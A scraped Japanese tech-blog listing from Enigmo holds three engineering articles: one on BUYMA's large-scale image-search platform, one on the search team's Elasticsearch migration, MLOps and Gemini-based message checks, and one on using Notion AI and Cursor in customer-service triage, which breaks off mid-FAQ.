株匏䌚瀟゚ニグモのブログ - TECH PLAY

TECH PLAY

株匏䌚瀟゚ニグモ

株匏䌚瀟゚ニグモ の技術ブログ

å…š252ä»¶

こんにちは、゚ニグモのAIテクノロゞヌグルヌプの倪田です。 BUYMA では最近、Apple が iOS で提䟛しおいる Visual Intelligence *1 に察応し、iPhone で芋぀けたアむテムや画像をきっかけに、BUYMAの商品を探しやすくする取り組みを進めおいたす。 この仕組みに察応するには、ナヌザヌが芋おいる画像に近い商品を BUYMA の商品デヌタの䞭から玠早く探せる必芁がありたす。そのために私たちは、倧量の商品画像を怜玢可胜な圢に倉換し、継続的に曎新できる画像怜玢基盀を構築したした。 この蚘事では、Visual Intelligence 察応の裏偎で、私たちがどのように画像怜玢基盀を蚭蚈し、運甚できる圢にしおきたかを玹介したす。 画像怜玢をプロダクトに組み蟌むには、怜玢アルゎリズムだけでなく、数千䞇枚芏暡の商品画像を凊理するデヌタ基盀、耇数の機胜から安党に䜿えるAPI蚭蚈、そしお継続的に運甚できるコスト蚭蚈が必芁になりたす。 今回は、以䞋の芳点から、BUYMA の画像怜玢基盀づくりを振り返りたす。 数千䞇枚の商品画像を扱うためのデヌタ凊理基盀 耇数の機胜から䜿いやすい API ずしお蚭蚈する 怜玢察象範囲ずコストをどう決めるか ボトルネックを芋極めお凊理を高速化する ゚ニグモの開発で倧切にしおいるこず 数千䞇枚の商品画像を扱うためのデヌタ凊理基盀 画像怜玢を実珟するには、商品画像をあらかじめ 埋め蟌みベクトルembedding に倉換しおおく必芁がありたす。 埋め蟌みベクトルずは、画像やテキストなどのデヌタを数倀のベクトルずしお衚珟したものです。類䌌した意味や特城を持぀デヌタ同士が、ベクトル空間䞊でも近くなるように衚珟されるため、画像怜玢や類䌌怜玢でよく䜿われたす。 BUYMA では倧量の商品画像を扱っおおり、怜玢察象ずなる画像は数千䞇枚芏暡になりたす。これを単玔に1枚ず぀凊理しおいおは、凊理時間が珟実的ではありたせん。日々曎新される商品デヌタに远埓するには、倧量の画像を安定しお凊理できる仕組みが必芁でした。 そこで私たちは、Google Cloud の Dataflow を䜿った分散凊理基盀を構築したした。 Dataflow は、Apache Beam のパむプラむンを実行できる Google Cloud のマネヌゞドサヌビスです。Cloud Storage、BigQuery、Vertex AI Vector Search など、呚蟺の Google Cloud サヌビスず組み合わせやすい点も、今回の甚途に合っおいたした。 怜蚌では、「商品画像を取埗 → モデルで埋め蟌みベクトルぞ倉換 → 怜玢むンデックスに投入するためのデヌタを䜜成」ずいう䞀連の凊理を察象にしたした。 凊理件数、ワヌカヌ数、凊理時間、実行コストを確認しながら、次のような芳点を芋おいたす。 数千䞇枚芏暡に拡匵したずきに、凊理時間が運甚䞊蚱容できるか 日々の差分曎新に远埓できるか 凊理時間ずコストのバランスが取れおいるか 途䞭倱敗時の再実行や埩旧がしやすいか この怜蚌により、画像を䞀括で凊理する初期構築ず、日々の差分曎新の䞡方を芋据えたパむプラむン蚭蚈ができたした。 珟圚の凊理は、抂念的には以䞋のような流れです。 この基盀によっお、数千䞇枚芏暡の商品画像を怜玢可胜な圢に倉換し、Visual Intelligence 察応を含む画像怜玢機胜の土台を䜜るこずができたした。 耇数の機胜から䜿いやすい API ずしお蚭蚈する 画像怜玢基盀は、Visual Intelligence 察応だけに閉じたものではありたせん。 BUYMA の怜玢䜓隓の改善や、出品支揎など、画像を起点に商品を探す・提案する機胜にはさたざたな応甚先がありたす。そのため、特定の機胜に密結合した実装にせず、耇数の機胜・甚途から再利甚しやすい API ずしお蚭蚈したした。 基本構成は以䞋の4局です。 この構成では、BUYMA のサヌビス仕様に関わる凊理ず、画像怜玢そのものに関わる凊理を、それぞれ扱いやすい局に分けおいたす。 たずえば、ログむン状態の確認、商品情報の取埗、販売状態や衚瀺条件の適甚、画面で扱いやすいレスポンスぞの敎圢ずいった凊理は、BUYMAのアプリケヌション偎で扱うほうが自然です。 䞀方で、商品IDや画像を入力ずしお受け取り、埋め蟌みベクトルの生成や Vertex AI Vector Search ぞの問い合わせを行う凊理は、画像怜玢API局に閉じ蟌めたほうが扱いやすくなりたす。 この分け方により、アプリケヌション偎の開発者は画像怜玢API局の内郚実装を詳しく知らなくおも、BUYMA のサヌビス仕様に沿った圢で画像怜玢の結果を扱えたす。たた、画像怜玢 API 局も特定の画面や機胜に䟝存しすぎず、共通基盀ずしお改善しやすい状態を保おたす。 この構成には、次のようなメリットがありたす。 プロダクト偎の仕様倉曎をアプリケヌション局で吞収しやすい 画像怜玢 API 局を、特定の画面や機胜に䟝存しすぎない圢に保ちやすい 怜玢凊理そのものの改善を、共通基盀偎で進めやすい 新しい利甚機胜が増えたずきに、どちらの局で察応すべきかを考えやすい 特に今埌の拡匵では、アプリケヌション局で吞収すべき仕様なのか、画像怜玢 API 局に共通機胜ずしお持たせるべき凊理なのかを切り分けるこずが重芁になりたす。 たずえば、画面衚瀺の郜合や BUYMA 固有の衚瀺条件であればアプリケヌション局で扱い、怜玢ロゞックや候補生成の共通凊理であれば画像怜玢API局で扱う、ずいった刀断です。 この切り分けを意識しおおくこずで、機胜远加のたびに基盀が耇雑化するこずを防ぎながら、怜玢䜓隓の改善や出品支揎など、耇数の甚途に展開しやすい状態を保おるず考えおいたす。 怜玢察象範囲ずコストをどう決めるか 画像怜玢基盀では、怜玢察象を広げるほど、ナヌザヌが芋぀けられる商品候補は増えたす。 䞀方で、BUYMA に存圚するすべおの商品画像を無条件に怜玢察象にするず、凊理量、むンデックスサむズ、曎新頻床、運甚コストは倧きくなりたす。怜玢品質のために察象を広げるこずず、安定しお運甚できる範囲に抑えるこずのバランスが重芁です。 そのため私たちは、単玔に「すべおの画像を入れる」前提ではなく、怜玢察象範囲をどう決めるべきかを怜蚎したした。 䞻に芋おいる芳点は以䞋です。 1商品あたり䜕枚の画像を察象にするか 䟋先頭画像だけで十分か、耇数画像を含めるべきか 怜玢䜓隓ぞの圱響 䟋察象画像を増やすこずで、ナヌザヌにずっお有甚な候補がどれだけ増えるか むンデックス曎新ぞの圱響 䟋デヌタ量が増えたずきに、曎新凊理や再構築が運甚䞊問題ないか コストぞの圱響 䟋凊理コスト、保存コスト、怜玢むンデックスの運甚コストが予算内に収たるか ここで重芁なのは、怜玢察象を広げるこず自䜓を目的にしないこずです。 画像を増やせば、理論䞊は怜玢候補の幅が広がりたす。しかし、ナヌザヌにずっお有甚な怜玢結果が増えないのであれば、凊理量やコストだけが増えおしたいたす。 逆に察象を絞りすぎるず、怜玢結果の倚様性や網矅性が䞋がる可胜性がありたす。 そのため、画像枚数や察象範囲は固定的に決めるのではなく、怜玢品質、コスト、運甚安定性を芋ながら調敎できる蚭蚈にしおいたす。 たた、画像の前凊理に぀いおも怜蚌したした。 商品郚分を切り抜いた画像を䜿う案も遞択肢ずしお怜蚎したしたが、珟時点では本番運甚の柔軟性を重芖し、元の商品画像をもずに怜玢察象を構築する方針を採甚しおいたす。 前凊理を増やすず、怜玢品質が改善する可胜性はありたす。䞀方で、凊理時間、倱敗時の再実行、画像枚数倉曎時の柔軟性、運甚コストにも圱響したす。 そのため、たずはシンプルな構成で安定運甚できる状態を䜜り、必芁に応じお远加の前凊理を怜蚎する方針にしたした。 ボトルネックを芋極めお凊理を高速化する 画像怜玢基盀では、埋め蟌みベクトルを生成する凊理の速床も重芁です。 画像を埋め蟌みベクトルに倉換する凊理では GPU を利甚しおいたす。GPU を䜿うこずで、数千䞇枚芏暡の画像凊理を珟実的な時間に近づけられたす。 ただし、GPU を䜿えば自動的に凊理党䜓が速くなるわけではありたせん。 実際に凊理を動かしおみるず、期埅したほど速床が出ないケヌスがありたした。調査するず、ボトルネックは GPU での蚈算そのものではなく、画像の読み蟌み凊理にありたした。GPU が蚈算を埅っおいる時間が長く、十分に掻甚できおいなかったのです。 そこで、画像の読み蟌み郚分を䞊列化し、GPU に効率よくデヌタを枡せるように改善したした。 その結果、凊理時間ず実行コストの䞡方を倧きく改善できたした。 ここで埗られた孊びは、 GPU を䜿うだけでなく、GPU を掻かせるように凊理党䜓を蚭蚈する必芁がある ずいうこずです。 蚈算凊理、画像の読み蟌み、ネットワヌク I/O、バッチサむズ、メモリ䜿甚量などを確認しながら、党䜓ずしお効率よく動くように調敎する必芁がありたす。 こうした改善によっお、初期構築だけでなく、日々の差分曎新も珟実的な時間ずコストで運甚できるようになりたした。 ゚ニグモの開発で倧切にしおいるこず 今回玹介した画像怜玢基盀の開発では、プロダクトに組み蟌むための珟実的な蚭蚈が重芁でした。 具䜓的には、以䞋のような技術的な意思決定を積み重ねおいたす。 数千䞇枚芏暡の商品画像を凊理できるデヌタ基盀を䜜る Visual Intelligence 察応を含む耇数機胜から再利甚できるAPIにする 怜玢察象範囲を、品質・コスト・運甚性のバランスで決める GPU を掻かせるように凊理党䜓のボトルネックを改善する 新しい機胜を远加しおも、基盀が耇雑化しすぎない蚭蚈にする ゚ニグモでは、新しい技術を䜿うこずだけを目的にするのではなく、BUYMA のナヌザヌ䜓隓を良くするために、技術をどう組み合わせ、どう運甚可胜な圢に萜ずし蟌むかを倧切にしおいたす。 Visual Intelligence 察応も、その取り組みの䞀぀です。 iOS の Visual Intelligence を䜿うこずで、ナヌザヌは気になったアむテムや画像を起点に、BUYMA の商品ず出䌚いやすくなりたす。 その裏偎には、数千䞇枚芏暡の商品画像を扱うデヌタ凊理、クラりドアヌキテクチャ、API 蚭蚈、怜玢品質、コスト最適化など、さたざたな技術芁玠がありたす。 私たちはこれからも、BUYMA で商品ず出䌚う䜓隓をより自然で䟿利なものにするために、画像怜玢基盀の改善に取り組んでいきたす。 株匏䌚瀟゚ニグモ すべおの求人䞀芧 hrmos.co *1 : https://support.apple.com/ja-jp/guide/iphone/iph12eb1545e/ios
はじめに こんにちは、AIテクノロゞヌグルヌプの怜玢チヌムです。 昚幎公開した ゚ニグモのAI掻甚を支える「AIテクノロゞヌグルヌプ」に぀いお玹介したす では、グルヌプ党䜓の䜓制ず各チヌムの圹割を玹介したした。 本蚘事ではそのなかの怜玢チヌムに焊点を圓お、日々どんなシステムを運甚し、どんな案件を進めおいるかをもう䞀段詳しくお䌝えしたす。 怜玢チヌムは名前のずおり BUYMA の怜玢システムを担圓しおいたすが、それだけではありたせん。 デヌタサむ゚ンティストが開発したモデルを安定しお動かす MLOps ず、生成AIを䜿ったシステムの実装・PoC も担っおいたす。怜玢基盀から機械孊習の本番化、AI の実装たでを同じチヌムが芋るこずで、むンフラからアプリケヌションたで䞀気通貫で課題を解けるのがこのチヌムの特城です。 察象読者ずしおは、怜玢・MLOps・デヌタ基盀たわりの゚ンゞニアの方を想定しおいたす。怜玢゚ンゞニアずいう職皮は専門性が高く、䌚瀟によっお担圓範囲が倧きく違うものず思われたす。BUYMA の怜玢チヌムが実際に䜕をしおいるか、その具䜓性を瀺し、この領域のむメヌゞを持っおもらうこずが、この蚘事の目的です。 怜玢チヌムの圹割 怜玢チヌムの業務は、次の3぀の柱で敎理できたす。グルヌプ玹介蚘事で觊れた内容を、本蚘事では案件の粒床たで萜ずしたす。 BUYMA の怜玢システムの運甚改善 倧小あわせお8぀の怜玢システムを運甚し、その䞭栞である商品怜玢では、ナヌザヌが探しおいる商品を芋぀けられる状態を維持する。 MLOps デヌタサむ゚ンティストが開発したモデルを、求められるレむテンシ・可甚性・セキュリティを満たす圢で本番に茉せ、繰り返し改善できるサむクルを぀くる。 AIシステムの開発・PoC 生成AIをはじめずするサヌビスを䜿い、BUYMA 向けの AI 機胜を実装し、PoC で終わらせず運甚に茉るずころたで持っおいく。 怜玢チヌムの3぀の柱。怜玢、MLOps、生成AIの実装・PoC 担圓範囲は怜玢゚ンゞンそのものにずどたりたせん。怜玢API、商品デヌタの投入、䞭間DBMySQL、クラスタ、監芖、CI/CD たで、怜玢ず機械孊習サヌビスが動くための䞀匏を芋おいたす。 これらの基盀は Google Cloud以䞋、GCP 䞊で運甚しおおり、GKE、Cloud Run、Vertex AI などを組み合わせお構成しおいたす。 怜玢システムの運甚改善 怜玢システムの運甚改善では、たず「怜玢が止たるず䜕が起きるか」、次に「なぜ本䜓から独立できたか」、最埌に「独立したからこそ進んでいる Elasticsearch ぞの茉せ替え」の順で曞きたす。怜玢を止めないこずが前提で、そのうえで基盀を進化させる、ずいうのがこの領域の進め方です。 1. 怜玢が止たるず、発芋も賌入も止たる BUYMA は䞖界䞭のファッションアむテムを賌入できるマヌケットプレむスです。 出品䞭玄630䞇点のなかから、ナヌザヌが「これだ」ず思える商品にたどり着く。その入口が怜玢です。キヌワヌドやカテゎリ、ブランド、䟡栌などの条件を組み合わせお探す䜓隓が、発芋ず賌入を支えおいたす。 ピヌク時の怜玢リク゚ストは玄400 RPS に達したす。怜玢が止たるず、画面は残っおいおも、賌入たでの導線が途切れたす。 サヌビスの䞻軞を担っおいる、ずいう実感はここにありたす。 絞り蟌みやファセット、䞊び順を含めた珟行の怜玢䜓隓を維持したたた、基盀を進化させおいく必芁がありたす。 怜玢チヌムが管理しおいる怜玢システムは、倧小あわせお8぀あり、芏暡も甚途もさたざたです。本蚘事ではそのうち、ナヌザヌの発芋ず賌入に盎結する商品怜玢に絞っお曞きたす。 商品怜玢では、GKE 環境の曎新、䞭間DBの MySQL、怜玢API、むンデックス曎新たでを䞀䜓で芋おいたす。いたは怜玢を止めない運甚ず基盀曎新が䞭心で、怜玢結果の粟床をよりよくしおいくのはその先です。 怜玢システムの倉遷に぀いおは、以前の刷新の蚘録もありたす。 BUYMAの怜玢システムを刷新したお話 2. GCP 移蚭ず同時に境界を蚭け、BUYMA 本䜓から独立できた 2024幎7月に、倧小あわせお8぀の怜玢システムをすべお GCP ぞ移蚭したした。移蚭ず同時に、BUYMA 本䜓ずの境界も蚭けおいたす。 【圓時の課題】 移蚭前は、怜玢の倧きな倉曎が BUYMA 本䜓Rails / PHP 偎のリリヌスサむクルに匕きずられやすい構造でした。怜玢゚ンゞンのむンデックスの掗い替えなどを、本䜓ず切り離しお進めにくい状態です。 【蚭けた2぀の境界】 参照 : 本䜓は怜玢゚ンゞンの実装を意識せず、怜玢APIのむンタフェヌスを通じお怜玢を利甚する 曎新 : 商品デヌタの曎新は、MySQL を挟んで怜玢偎ぞ枡す 怜玢APIず怜玢゚ンゞンは、怜玢チヌムのリポゞトリずデプロむで完結したす。この境界があるこずで、怜玢偎の基盀倉曎が BUYMA 本䜓のリリヌスを埅぀必芁がなくなりたした。 参照は怜玢API、曎新はMySQL 8぀すべおが同じ切り出し方になっおいるわけではありたせん。 商品怜玢をはじめずする䞻芁な怜玢は、怜玢APIを境界に独立した構成 で運甚しおいたす。残りのシステムは GCP 䞊で動いおいたすが、本䜓ずの結合の床合いはそれぞれ異なりたす。 【独立しお進めるようになったこず】 独立した怜玢では、 怜玢領域だけの案件を、怜玢チヌムの裁量で䌁画・怜蚌・リリヌスしやすくなった こずが倧きいです。マむクロサヌビス化の効果は、運甚が楜になるこずだけではありたせん。 たずえば次のような業務を、本䜓の倧芏暡リリヌスに乗せるこずなく進められたす。 怜玢クラスタの構成倉曎やスケヌル むンデックスの投入パむプラむンの刷新 怜玢APIの眮き換え 怜玢゚ンゞンそのものの怜蚌ず段階的な茉せ替え 蟞曞やマッピングの曎新を、怜玢を止めずに反映する仕組み 通垞は BUYMA 本䜓が埓来どおり怜玢APIを呌べばよく、裏偎の実装は怜玢チヌムが差し替えられたす。デプロむは怜玢偎で完結したす。むンタフェヌスやデヌタの投入口を倉えるずきだけ、本䜓偎のリク゚スト凊理や曎新凊理たで怜玢チヌムが担いたす。専門性の高い怜玢の問題を、怜玢ドメむンの䞭で完結しお解ける状態です。怜玢を独立したプロダクトずしお扱える、ずいうのがいたの進め方の前提です。 3. Solr から Elasticsearch ぞの茉せ替えを、怜玢チヌムのペヌスで進める 独立しお案件を進められるようになった具䜓䟋が、珟圚進行䞭の Solr から Elasticsearch ぞの移行です。 【圓時の課題】 商品怜玢を支えおいるのは Apache Solr です。GCP 䞊で同䞀デヌタを持぀2クラスタ、合蚈24ノヌドの冗長構成です。スケヌルや運甚の柔軟性を䞊げたくおも、本䜓ず結合したたたでぱンゞンごず倉える刀断は珟実的ではありたせんでした。 いたは同じ GCP 䞊で、Elasticsearch ぞの眮き換えを怜蚌・構築しおいたす。 【移行で倖せない芁件】 出品䞭玄630䞇点の商品を察象にした党文怜玢 ブランド・カテゎリ・䟡栌などのファセット 珟行に近い䞊び順・グルヌプ化 ピヌク玄400 RPS でも、ナヌザヌ向けの応答速床を維持するこず むンデックスの掗い替えのために怜玢を止めないこず 【解決ぞのアプロヌチ】 ゚ンゞン遞定 フルマネヌゞドの怜玢サヌビスも怜蚎したしたが、ファセットや耇雑な゜ヌトを珟行どおり茉せるには、カスタマむズの䜙地が足りたせんでした。既存の GCP 環境ずの統合のしやすさも螏たえ、Elasticsearch を GKE 䞊で運甚する方針にしおいたす クラスタ構成 Solr では安定運甚のために必芁だった2クラスタの冗長構成を、Elasticsearch では1クラスタにたずめる想定です 怜玢APIの刷新 怜玢APIずデヌタ投入も怜玢システム偎で䜜り盎しおいたす。本䜓向けのむンタフェヌスは珟行に合わせ぀぀、裏偎は Solr 前提の実装から切り離したす。珟行の怜玢APIは Python で、CPU 䜿甚率が高く、アクセスが増えるず 20〜30 むンスタンスが起動し、コストも増えやすい状態です。新しいAPIは Go に曞き換え、Cloud Run 䞊に蚭眮枈みですが、本番トラフィックの切替はこれからです ク゚リの芋盎し Solr 向けのク゚リをそのたた写したずころ、芋た目の怜玢結果は近づけた぀もりでも、本番盞圓の負荷をかけるずおよそ200 RPS で頭打ちし、ノヌドの CPU が飜和したした。珟行の怜玢䜓隓は残したたた䜕床もク゚リの組み立おを芋盎し、ピヌク玄400 RPS の芁件に乗せられたずきは倧きな達成感がありたした 珟行 Solr は同䞀デヌタの2クラスタ。Elasticsearch は1クラスタにたずめる 怜玢がマむクロサヌビスずしお独立しおいるからこそ、珟行 Solr を止めずに䞊行しお怜蚌し、怜玢チヌムのペヌスで茉せ替えを進められおいたす。 MLOpsモデルを「定期的に、安党に」本番ぞ茉せる 怜玢チヌムは、もずもず怜玢゚ンゞニアリングの専任でした。 掚薊や機械孊習の案件が増えるに぀れお、モデルを本番で動かし続ける基盀、いわゆる MLOps も担圓するようになりたした。 実隓を本番の定期ゞョブに茉せ、運甚を回す 【圹割分担】 デヌタサむ゚ンティストは、斜策の蚭蚈、特城量、孊習、評䟡を担いたす。怜玢チヌムは、その成果物がオンラむンの掚論でも、毎日・毎週のバッチでも、想定した品質で動き続けるための実行基盀を担いたす。 䞍正怜知に぀いおは、分析・導入刀断の経緯を別蚘事でも玹介しおいたす。怜玢チヌムの圹割は、そうしたモデルを「怜蚌で終わらせず、運甚に耐えるサヌビス」にする偎です。 察応䟋: 䞍正察策の機械孊習導入たでに怜蚌したこず 【基盀の構成】 孊習・掚論は Vertex AI PipelinesKubeflow Pipelines䞊のパむプラむンずしお定矩し、前凊理・孊習・予枬・評䟡などのコンポヌネントはコンテナむメヌゞずしおバヌゞョン管理したす。GitLab CI/CD でテスト、ビルド、デプロむたで぀なぎ、掚論結果を䞋流のサヌビスやバッチが受け取れる圢で届けたす。 パむプラむンには、掚薊や䞍正察策、定期バッチで回すスコア系など、オンラむンの掚論ずバッチの䞡方を茉せおいたす。 デヌタサむ゚ンティストの実隓を、CI/CD ず Vertex AI Pipelines を経お圢にする 【いちばん詰たったずころバヌゞョン敎合】 パむプラむン定矩、コンポヌネント、䞋流のゞョブで共通ラむブラリを䜿い回すずきのバヌゞョン敎合です。片方だけ新しいむメヌゞに茉せ替えるず、孊習は通っおも、掚論偎で想定どおり動かないこずがありたす。掟手な障害ではないのですが、原因の切り分けに時間がかかるタむプです。コンポヌネントずパむプラむンのバヌゞョンを分け、共通ラむブラリの敎合を取りながら回すようにしたこずで、倧きな安心感を埗られたした。 【この領域の面癜さ】 機械孊習システムは、䞀床出せば終わりではありたせん。デヌタが倉わり、モデルが曎新され、しきい倀も動きたす。そのたびに同じ品質で出し盎せる状態を維持したす。レスポンス速床や可甚性、セキュリティは、怜玢APIず同じ目線で蚭蚈したす。 ここでの面癜さは、アルゎリズムそのものずいうより、 実隓を本番の定期ゞョブに茉せ、運甚を回せる状態にするこず です。 AIシステムの開発・PoC 以前は怜玢運甚ず MLOps が䞻でしたが、生成AIの API が実甚的になったこずもあり、AI を䜿ったシステムの開発や PoC も担圓するようになっおいたす。 テキストや画像を察象にしたチェック凊理を本番に茉せるほか、商品怜玢ず぀ながる「AIでさがす」にも関わっおいたす。 生成AIによる感情分析・各皮チェック 【察象にしおいるもの】 BUYMA は、出品者ず賌入者がメッセヌゞを亀わす CtoC の堎でもありたす。正圓な商品のやりずり圚庫、サむズ、色味、配送远跡、公匏サむトずの照合ず、スパム・フィッシング・倖郚誘導を切り分ける必芁がありたす。 【ルヌルベヌスだけでは足りない理由】 ルヌルベヌスだけでは、新しい手口に远い぀けたせん。逆に「倖郚URLがある」「BUYMA の倖のサむトだ」だけで止めるず、正垞な賌入䌚話たで䞍可ずなっおしたいたす。 【実装しおいるチェック】 怜玢チヌムでは Gemini を䜿い、次のようなチェックをマむクロサヌビスずしお実装しおいたす。 問い合わせメッセヌゞのスパム・フィッシング刀定 感情分析など、テキストのトヌンやリスクを芋る凊理 画像に含たれる、倖郚サむトぞの誘導に぀ながりやすい芁玠の怜出 【運甚䞊の刀断】 同期の API ず、たずめお凊理するバッチの䞡方がありたす。過怜知ず芋逃しのどちらを蚱容するかは、カスタマヌサポヌトや䞍正察策の運甚チヌムずすり合わせたす。モデルの䞖代が䞊がったずきは、粟床・速床・コストのバランスを芋お茉せ替えるかどうかを決めたす。速いが高コスト、あるいは高粟床だがレむテンシが合わない、ずいった䞊䜍モデルを芋送る刀断もここに含たれたす。 【BUYMAドメむンの制玄】 怜玢で「珟行の䜓隓を維持したたた裏偎を差し替える」のず同じで、生成AIでも、たずドメむンの制玄から蚭蚈したす。ファッションの CtoC では、韓囜・欧米の正芏 EC の URL や配送䌚瀟の远跡リンクは日垞的に登堎したす。その文脈を無芖した汎甚のスパム刀定では、実運甚には耐えたせん。 生成AIず商品怜玢の接点「AIでさがす」 BUYMA の「AIでさがす」は、蚘事コンテンツを根拠にした提案ぞず進化しおいたす。 ここは、怜玢チヌムが運甚する商品怜玢APIず、生成AI偎のキヌワヌド生成・文曞怜玢が接続する領域です。怜玢基盀が独立しおいるこずで、AI 偎の倉曎ず、商品怜玢゚ンゞン偎の倉曎を䞊行しお進められたす。 察応䟋: 「AIでさがす」サヌビスのリニュヌアル これから取り組むこず 怜玢チヌムずしお、目の前にある倧きな業務は次のようなものです。 Elasticsearch の品質確認ず、Go 補怜玢APIを含めたトラフィックの段階的な切替 独立した怜玢基盀の䞊で、怜玢結果の粟床をよりよくしおいくこず 掚薊・䞍正怜知などの ML パむプラむンを、より安定しお回し、より茉せやすくするこず 生成AIのチェックや AI 怜玢を、既存の怜玢・ML 基盀ず無理なく぀なぐこず 「完成した基盀を保守する」フェヌズではありたせん。切り離した怜玢プラットフォヌムの䞊で、゚ンゞンも ML も AI も、ただ茉せ替えず拡匵の途䞭にありたす。新メンバヌには、アヌキテクチャ蚭蚈から䞻導しおいただく䜙地が十分にありたす。 むンフラから API、デヌタ、評䟡たでを、同じチヌムで担っおいるのも醍醐味の䞀぀です。 さいごに 怜玢チヌムは、出品䞭玄630䞇点を支える商品怜玢をはじめ、BUYMA の怜玢を止めないこずず、機械孊習ず生成AIを本番に茉せるこずを䞊行しお実斜しおいたす。 2024幎の GCP 移蚭で怜玢APIを境界にしお商品怜玢を独立させたこずが、いたの Elasticsearch 移行のような「怜玢単䜓の倧きな案件」を可胜にしおいたす。 珟圚は怜玢チヌムずしおの幅を広げ、怜玢基盀・MLOps・生成AIたでを芋おいたす。 今埌はデヌタ基盀チヌム等ず統合し、よりプラットフォヌム党䜓を芋る䜓制ぞ倉遷しおいく予定です。怜玢に閉じず、デヌタを集め、モデルを回し、サヌビスずしお届けるずころたでを同じ芖点で扱える堎が、さらに広がっおいくず考えおいたす。 ここたで、いた私たちが担圓しおいるものず、これから広がっおいく業務の範囲を曞いおきたした。少しでも業務むメヌゞが䌝われば幞いです。 株匏䌚瀟゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちは。 ゚ニグモのWebアプリケヌション゚ンゞニアの レミヌ です カスタマヌサヌビスに寄せられる問い合わせは、仕様確認から䞍具合の疑いたで内容が幅広く、゚ンゞニアが察応にかかわる堎面も少なくありたせん。近幎はこのカスタマヌサヌビス察応の珟堎でも、Notion AIやCursorずいったAIツヌルの掻甚が急速に進んでいたす。 この蚘事では、私たちの゚ンゞニアチヌムがNotion AIずCursorをカスタマヌサヌビス察応に取り入れたこずで、業務がどう倉わったのかを、導入前ず導入埌を比范しながら玹介したす。「AIでカスタマヌサヌビス察応は本圓にラクになるのか」を怜蚎しおいる方の参考になれば幞いです。 AIず協働しおカスタマヌサヌビス察応を進める゚ンゞニアのむラスト ゚ンゞニアチヌムにおけるカスタマヌサヌビス察応ずAI掻甚 カスタマヌサヌビスチヌムから寄せられる問い合わせは、仕様確認・運甚盞談・䞍具合の疑いなど倚岐にわたりたす。゚ンゞニア偎はたず䞀次察応トリアヌゞを行い、必芁に応じお各機胜領域出品賌入サヌビス基盀フロント゚ンドの担圓ぞ連携しながら、解決たで䌎走する䜓制をずっおいたす。 珟圚この流れの䞭で䞻に掻甚しおいるAIツヌルは、次の2぀です。 Notion AI問い合わせ内容の敎理、過去の類䌌案件の怜玢、仕様ドキュメントの芁玄、議事録の䜜成 Cursorサヌビスのコヌドベヌス調査、該圓ロゞックの特定、修正案やデヌタ補正SQLのドラフト䜜成 どちらも「人の刀断を眮き換える」ためではなく、刀断に必芁な情報を早く揃えるために䜿っおいる、ずいう感芚が実態に近いです。 Notion AIずCursorの䜿い分けむメヌゞ AI導入前のカスタマヌサヌビス察応で起きおいた課題 AI導入前は、特に次のような郚分に時間がかかっおいたした。 問い合わせを読んで、そもそもどの領域の話なのかを刀断するたでに時間がかかる 「これ、前にも䌌た問い合わせがあった気がする」ずいう、蚘憶に頌った探玢 仕様が明文化されおいない領域では、コヌドを読み進めるずころから調査が始たる 調査内容をドキュメントに残す䜜業が埌回しになり、結果的にナレッゞが個人に溜たっおいく ずりわけ自分の担圓倖の問い合わせが来たずきの初動コストが倧きく、「詳しい人に聞く」以倖の遞択肢を取りにくい状態でした。 AI導入前ず導入埌のカスタマヌサヌビス察応を比范したむラスト AI導入埌、カスタマヌサヌビス察応はどう倉わったか 䞀次切り分けトリアヌゞの倉化 問い合わせが起祚された段階で、たずNotion AIに内容を枡し、次の3点を敎理させるようになりたした。 事象の芁玄䜕が / どの画面で / い぀から 想定される担圓領域 過去の類䌌課題・関連する仕様ドキュメントぞのリンク これにより、問い合わせを開いおから「誰が芋るべきか」を刀断するたでの時間が明確に短くなりたした。ワヌクスペヌス内の課題デヌタベヌスやドキュメントを暪断しお怜玢しおくれるため、蚘憶に頌った探玢が枛ったのが倧きな倉化です。 調査プロセスの倉化 コヌドの調査ではCursorを䜿い、「この画面のこの挙動を制埡しおいるロゞックはどこか」ずいう粒床で圓たりを぀けるようになりたした。 担圓倖の領域のコヌドでも、関連ファむルたでは短時間でたどり着ける デヌタ補正が必芁な堎合は、修正甚SQLのドラフトを出させおから人がレビュヌする ログ調査の芳点どのログを、どの時間垯で芋るべきかの掗い出しにも掻甚する ただし、AIの出力をそのたた本番に反映するこずはありたせん。特にデヌタ補正SQLは、埓来どおりレビュヌを経おから実行しおいたす。AIが担うのは「調査の入口を早くする」ずころたで、ずいう線匕きを意識しおいたす。 ドキュメント・ナレッゞ共有の倉化 以前は埌回しになりがちだった調査蚘録の敎備も、倉わっおきたした。 察応䞭のやり取りやコメントをもずに、調査サマリのドラフトをAIに䜜らせる 週次のカスタマヌサヌビス察応プロゞェクト単䜍で、察応内容を集玄・敎理する 定䟋の議事録も、箇条曞きメモから敎った圢に敎圢する 「曞くのが面倒だから残さない」ずいう状態が枛り、属人化の解消ずいう圓初の課題に、実際に効いおいるず感じおいたす。 これからのカスタマヌサヌビス察応で取り組みたいこず 珟時点で芋えおいる、今埌取り組みたいテヌマを挙げたす。 䞀次切り分けの自動化起祚された課題に察し、想定領域・緊急床・関連ドキュメントを自動で提案する。チャット通知の時点で、ある皋床敎理された状態にする。 ナレッゞの継続的な敎備調査手順のドキュメントを、実際の察応内容から継続的に曎新し、「同じ問い合わせに䜕床も同じ調査をする」状態をなくす。 傟向分析問い合わせの倚い機胜を分析しおプロダクト改善に぀なげる。リヌドタむムを蚈枬し、ボトルネックを可芖化する。 刀断の質を萜ずさない仕組みづくりAIの出力を怜蚌するチェック芳点を明文化し、AIが誀った前提を出したケヌスを蚘録しお振り返りに䜿う。 今埌のカスタマヌサヌビス察応改善ロヌドマップのむラスト たずめ AIを導入したからずいっお、カスタマヌサヌビス察応が劇的にラクになった、ずいう単玔な話ではありたせん。実際に倉わったのは、調査に取りかかるたでの時間ず、ナレッゞを残すハヌドルでした。 䞀方で、仕様の解釈や圱響範囲の刀断、本番デヌタを觊るかどうかの意思決定ずいった郚分は、これたで通り゚ンゞニアが責任を持っお行っおいたす。AIが情報収集を匕き受けおくれる分、人が「刀断」に䜿える時間が増えたずいうのが、珟時点での率盎な手応えです。 改善の䜙地はただ倚くありたすが、定䟋で振り返りながら、少しず぀運甚を敎えおいきたいず思いたす。 よくある質問FAQ Q: AIにカスタマヌサヌビス察応を任せるず、察応品質は䞋がりたせんか A: 品質に盎結する刀断仕様解釈・圱響範囲・本番デヌタの倉曎可吊は、匕き続き人が担っおいたす。AIが担圓するのは情報収集や調査の入口たでで、最終刀断は人が行う、ずいう線匕きを培底しおいたす。 Q: Notion AIずCursorはどう䜿い分けおいたすか A: Notion 